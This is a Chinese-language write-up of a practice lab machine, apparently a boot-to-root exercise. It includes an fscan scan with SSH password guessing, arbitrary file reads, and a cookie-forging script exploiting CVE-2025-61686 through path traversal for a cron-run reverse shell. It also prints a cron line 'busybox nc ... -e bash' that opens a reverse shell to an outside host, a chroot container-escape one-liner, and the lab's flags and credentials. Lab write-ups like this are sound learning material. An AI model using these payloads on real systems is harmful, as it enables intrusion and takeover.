userflag(打点)

fscan扫一下

```
192.168.1.20:22 open
192.168.1.20:80 open
192.168.1.20:3000 open
192.168.1.20:8080 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://192.168.1.20       code:200 len:154    title:index
[*] WebTitle http://192.168.1.20:8080  code:200 len:2674   title:🌿 花卉知识库
Wiki
[*] WebTitle http://192.168.1.20:3000  code:200 len:1611   title:Flower App
[+] PocScan http://192.168.1.20:8080 poc-yaml-natshell-arbitrary-file-read
已完成 3/4 [-] ssh 192.168.1.20:22 root root@123 ssh: handshake failed: ssh:
unable to authenticate, attempted methods [none password], no supported methods
remain
已完成 3/4 [-] ssh 192.168.1.20:22 root 123456~a ssh: handshake failed: ssh:
unable to authenticate, attempted methods [none password], no supported methods
remain
已完成 3/4 [-] ssh 192.168.1.20:22 root system ssh: handshake failed: ssh: unable
to authenticate, attempted methods [none password], no supported methods remain
已完成 3/4 [-] ssh 192.168.1.20:22 admin Admin@123 ssh: handshake failed: ssh:
unable to authenticate, attempted methods [none password], no supported methods
remain
已完成 3/4 [-] ssh 192.168.1.20:22 admin 123456789 ssh: handshake failed: ssh:
unable to authenticate, attempted methods [none password], no supported methods
remain
已完成 3/4 [-] ssh 192.168.1.20:22 admin a123123 ssh: handshake failed: ssh:
unable to authenticate, attempted methods [none password], no supported methods
remain
已完成 4/4
[*] 扫描结束,耗时: 10m37.7373552s
```

ssh密码一般尝试三次错了就得重新连接，这里重点关注8080和3000，并且这里8080已经扫出了任意文件读取

/etc/passwd最后一行数据

```
Sublarge:x:1001:1001::/home/Sublarge:/bin/bash
```

这里有个用户目录

由于我是第一次打这类靶机，所以并不清除flag的位置，所以我不是这样获取第一个flag的！

那么我就是到处读读并看看能不能得到什么有效的信息/proc/self/environ(之前打ctf喜欢读)

```
HOSTNAME=a03b8c7326cf
YARN_VERSION=1.22.22
NODE_VERSION=20.20.0

PWD=/app
HOME=/root
SHLVL=0

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/local/bin/node
```

nodejs，工作目录为/app

所以尝试读读下面的源码

```
/app/index.js
/app/app.js
/app/main.js
/app/server.js
....
```

这里读到了/app/server.js

```
import http from "http";
import { createFileSessionStorage } from "@react-router/node";
import { parse } from "querystring";

// DONE: cron runs /opt/flower.sh every minute
// TODO: create /opt/flower.sh to do something interesting
const storage = createFileSessionStorage({
  dir: "./sessions",
  cookie: {
```

```
    name: "session",
    httpOnly: true,
    path: "/",
    sameSite: "lax",
    secrets: ["mazesec"],
  }
});

const users = [];
const ADMIN_USER = {
  username: "admin",
  password: "Maze-Sec2026",
  role: "admin"
};

const css = `
  body { font-family: 'Segoe UI', 'Microsoft YaHei', sans-serif; background:
#fff0f5; color: #4a4a4a; display: flex; justify-content: center; align-items:
center; min-height: 100vh; margin: 0; }
  .container { background: white; padding: 2rem; border-radius: 15px; box-shadow:
0 4px 15px rgba(0,0,0,0.1); width: 400px; text-align: center; border: 2px solid
#ffbed2; }
  h1 { color: #d63384; display: flex; align-items: center; justify-content:
center; gap: 10px; }
  input { display: block; width: 100%; padding: 10px; margin: 10px 0; border: 1px
solid #ddd; border-radius: 5px; box-sizing: border-box;}
  button { background: #ff69b4; color: white; border: none; padding: 10px 20px;
border-radius: 20px; cursor: pointer; font-size: 16px; transition: background
0.3s; width: 100%; }
  button:hover { background: #d63384; }
  .flower-deco { font-size: 40px; margin: 10px 0; }
  .links { margin-top: 20px; font-size: 14px; }
  a { color: #d63384; text-decoration: none; }
  .error { color: red; margin: 10px 0; font-size: 14px; }
  .dashboard-content { text-align: left; background: #fffafc; padding: 15px;
border-radius: 8px; border: 1px dashed #ffbed2; margin-top: 20px; }
`;

function renderPage(content, title = "Flower App") {
  return `
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>${title}</title>
  <style>${css}</style>
</head>
<body>
  <div class="container">
    <div class="flower-deco">🌸 🌺 🌻</div>
    ${content}
  </div>
</body>
</html>`;
}
```

```
function getBody(req) {
  return new Promise((resolve) => {
    let body = "";
    req.on("data", chunk => { body += chunk.toString(); });
    req.on("end", () => { resolve(parse(body)); });
  });
}

async function redirect(res, location, cookie = null) {
  const headers = { "Location": location };
  if (cookie) headers["Set-Cookie"] = cookie;
  res.writeHead(302, headers);
  res.end();
}

http.createServer(async (req, res) => {
  const url = new URL(req.url, `http://${req.headers.host}`);
  const session = await storage.getSession(req.headers.cookie);
  const flashError = session.get("error");
  if (flashError) session.unset("error");

  const setHtmlHeader = () => res.setHeader("Content-Type", "text/html;
charset=utf-8");

  // --- 路由 ---
  // GET / - 首页
  if (req.method === "GET" && url.pathname === "/") {
    const userId = session.get("userId");

    if (userId) {
      return redirect(res, "/dashboard");
    }

    const html = renderPage(`
      <h1>欢迎来到花园系统</h1>
      <p>请登录以查看我们的专属花卉收藏。</p>
      <div class="links">
        <a href="/login">登录</a> | <a href="/register">注册</a>
      </div>
    `);

    setHtmlHeader();
    res.setHeader("Set-Cookie", await storage.commitSession(session));
    return res.end(html);
  }

  // GET /login
  if (req.method === "GET" && url.pathname === "/login") {
    const html = renderPage(`
      <h1>🌺 登录</h1>
      ${flashError ? `<div class="error">${flashError}</div>` : ''}
      <form method="POST" action="/login">
        <input type="text" name="username" placeholder="用户名" required />
        <input type="password" name="password" placeholder="密码" required />
        <button type="submit">进入花园</button>
      </form>
```

```
    <div class="links"><a href="/register">没有账号？点击注册</a></div>
  `, "Login");

  setHtmlHeader();
  res.setHeader("Set-Cookie", await storage.commitSession(session));
  return res.end(html);
}

// POST /login
if (req.method === "POST" && url.pathname === "/login") {
  const body = await getBody(req);
  const { username, password } = body;

  let user = null;
  if (username === ADMIN_USER.username && password === ADMIN_USER.password) {
    user = ADMIN_USER;
  } else {
    user = users.find(u => u.username === username && u.password === password);
  }

  if (user) {
    session.set("userId", user.username);
    session.set("role", user.role || "user");
    return redirect(res, "/dashboard", await storage.commitSession(session));
  } else {
    session.flash("error", "凭证无效 🥀");
    return redirect(res, "/login", await storage.commitSession(session));
  }
}

// GET /register
if (req.method === "GET" && url.pathname === "/register") {
  const html = renderPage(`
    <h1>🌻 注册</h1>
    ${flashError ? `<div class="error">${flashError}</div>` : ''}
    <form method="POST" action="/register">
      <input type="text" name="username" placeholder="设置用户名" required />
      <input type="password" name="password" placeholder="设置密码" required />
      <button type="submit">加入俱乐部</button>
    </form>
    <div class="links"><a href="/login">已有账号？去登录</a></div>
  `, "Register");

  setHtmlHeader();
  res.setHeader("Set-Cookie", await storage.commitSession(session));
  return res.end(html);
}

// POST /register
if (req.method === "POST" && url.pathname === "/register") {
  const body = await getBody(req);
  const { username, password } = body;

  if (users.find(u => u.username === username) || username === "admin") {
    session.flash("error", "用户名已被占用 🌵");
    return redirect(res, "/register", await storage.commitSession(session));
```

```
    }

    users.push({ username, password, role: "user" });
    session.flash("error", "注册成功！请登录 🌷");
    return redirect(res, "/login", await storage.commitSession(session));
  }

  // POST /logout
  if (req.method === "POST" && url.pathname === "/logout") {
    return redirect(res, "/", await storage.destroySession(session));
  }

  // GET /dashboard (受保护页面)
  if (req.method === "GET" && url.pathname === "/dashboard") {
    const userId = session.get("userId");
    const role = session.get("role");

    if (!userId) {
      return redirect(res, "/login");
    }

    let adminContent = "";
    if (role === "admin" || userId === "admin") {
      adminContent = `
        <div style="background: #ffe6e6; border: 2px solid red; padding: 10px;
margin-top: 10px;">
          <h3>👑 管理员面板</h3>
          <p><strong>Secret Flag:</strong> FLAG{FLOWER_POWER_OVERFLOW}</p>
          <p>你已获得花园的完全控制权。</p>
        </div>
      `;
    }

    const html = renderPage(`
      <h1>花园仪表盘 🌻</h1>
      <p>你好，<strong>${userId}</strong>!</p>
      <div class="dashboard-content">
        <p>当前身份：<strong>${role === 'admin' ? '首席园丁 🧑‍🌾' : '访客 🐝'}
</strong></p>
        <p>享受这宁静的氛围吧...</p>
        ${adminContent}
      </div>
      <form method="POST" action="/logout" style="margin-top: 20px;">
        <button type="submit" style="background: #999;">退出登录</button>
      </form>
    `, "Dashboard");

    setHtmlHeader();
    // 如果 Session 没有变化则不需要 commit，但为了刷新过期时间通常建议 commit
    return res.end(html);
  }

  // 404
  res.writeHead(404, { "Content-Type": "text/plain; charset=utf-8" });
  res.end("页面未找到");
```

```
}).listen(3000, () => {
  console.log("🌸 Flower Server running on http://localhost:3000");
});
```

这里给了一个假的flag而且这里对应的是3000的源码，所以尝试去审计看看3000的漏洞点，然后我没怎么学过js所以这里是和ai一起做的审计

这里知道是可以通过session去实现任意文件写入的，但是一开始我一直写不进去，后面找了一篇文章

[CVE-2025-61686-React Router 任意文件写入漏洞——从代码层面分析漏洞成因-先知社区]

当然还感谢Sublarge耐心看我的思路，最后我将我的操作完整给他看了一遍，他说逻辑上没错误。但正是我将问题描述了一遍使得我开始重新认真分析这个问题，最后发现问题。

所以遇到问题的时候自己先尝试将问题描述清楚再去思路！

漏洞的利用:

这里就先成为脚本小子了，分析的话，我感觉后面可以专门去搞一搞

写一个伪造session的脚本（自己验证了是正确的）：

```
// remix-sign.js
const crypto = require("crypto");

const SECRET = "mazesec";
const encoded =
"IjE3YjVhNjM0NGFhYTY2OTk3Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9mbG93
ZXIuc2gi";

// 1. HMAC-SHA256，输出普通 base64
let sig = crypto
  .createHmac("sha256", SECRET)
  .update(encoded)
  .digest("base64");


// 最终 cookie 值
console.log(`${encoded}.${sig}`);
```

这个session前半部分是base64加密，后半部分是签名，所以我们只要保证签名正确就好了，而且写入session文件是在登录的时候，所以我们注册一个用户（用户名为反弹shell的命令），然后登录的时候改一下session进行登录。

这里还用到了shell脚本里面`${}`变量替换，当然命令替换也可以就是反引号。那么就拿到shell了

rootflag(docker逃逸)

接下来就是docker逃逸了，这玩意我从来没接触过，但是我又特别想把它干出来，所以我去网上搜文章。尝试了几种方法都不行，那么试试工具呗！cdk走起，最后在ai和工具的辅助下我成功逃逸了

```
python3 -c 'import os; os.chroot("/proc/1/root"); os.chdir("/");
os.system("/bin/bash")'
```

那么这个就是我后面要学习的东西！！！

/root下面没有flag，flag被藏起来了！没想到在这遇到了111，提示我用linpeas扫描一遍！

- **容器逃逸风险：**
  - 存在 `/mnt/mazesec.img` 挂载在 `/root` 目录下的情况，这可能暗示了某种持久化存储或特殊的数据挂载 。
  - 系统中存在 `docker-proxy` 进程，负责处理到容器的流量 。 +1

这里说是现在的/root是被挂载了，所以猜测flag在没挂载前

```
whoami
root
umount /root
umount: /root: must be superuser to unmount.
```

这里明明是root了，但是还是不能，有些奇怪！

然后还发现了这么个奇怪的玩意，然后但是我的ip正好是10

```
cat /etc/cron.d/RevShell
* * * * * root bash -c "busybox nc 192.168.1.10 5555 -e bash"
```

但是现在也可以改，这应该就是真root了吧

```
/usr/bin/script -qc /bin/bash /dev/null
root@Hiflower:/# ls
ls
bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr
etc   lib             lost+found  proc   srv   var
root@Hiflower:/# umount /root
umount /root
umount: /root: target is busy.
root@Hiflower:/# ls /root
ls /root
linpeas.sh  lost+found  output.txt  readme.txt
root@Hiflower:/# umonut -lf /root
umonut -lf /root
bash: umonut: command not found
root@Hiflower:/# umount -lf /root
umount -lf /root
root@Hiflower:/# ls /root
ls /root
root.txt
root@Hiflower:/# cat /root/root.txt
cat /root/root.txt
flag{root-e51949a65379450198cb209d4b322e97}
```

一些总结，这可以说是我第一次接触这种靶机的渗透，user那个flag还好，因为打过ctf，但是docker逃逸相关的东西我是从未接触过。但是通过我的快速了解和ai的辅助和111&Sublarge的一些提示，最终耗时5个小时左右拿下我的**第一台**机子!!!